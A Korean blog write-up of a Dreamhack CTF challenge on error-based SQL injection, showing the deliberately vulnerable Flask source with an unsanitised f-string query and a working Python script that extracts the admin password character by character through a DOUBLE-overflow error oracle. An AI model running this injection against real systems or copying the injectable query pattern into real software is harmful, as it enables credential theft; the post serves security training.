[ Dreamhack ] error based sql injection

Hyeonjin Lee·2023년 3월 27일
0


문제 분석


주어진 문제 소스코드이다.

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''
     
@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

코드를 보면 sql injection 필터링이 전혀 없는 것을 알 수 있다.


문제 풀이



값을 아무거나 넣어보면 query문은 실행되지만 결과값은 보이지 않는다.



하지만 싱글쿼터를 넣어보면 에러 메시지를 볼 수 있다.
따라서 error based blind sql injection을 해야한다.

exploit code


import requests

address = 'http://host3.dreamhack.games:10771/'
def find_length():
	pw_len = 1
	while 1:
		url = f"{address}?uid=1' or if(length((select upw from user where uid='admin'))='{pw_len}',9e307*2,1);%23"
		res = requests.get(url)
		if "DOUBLE value is out of range" in res.text:
			print(f'[+] Password Length : {pw_len}')
			return pw_len
		pw_len += 1

def find_password(pw_len):
    answer = ''

    for i in range(1,pw_len+1):
        for j in range(48,123):
            if 58<=j<=64: continue
            if 91<=j<=96: continue
            url = f"{address}?uid=1' or if(uid='admin' and ord(substr(upw,{i},1))='{j}',9e307*2,1);%23"
            res = requests.get(url)
            if "DOUBLE value is out" in res.text:
                answer += chr(j)
                print(f'[+] Find Password : {answer}')
                break
    print(f'[+] Find Password : {answer}')

find_password(find_length())
profile
요즘 행복해요

0개의 댓글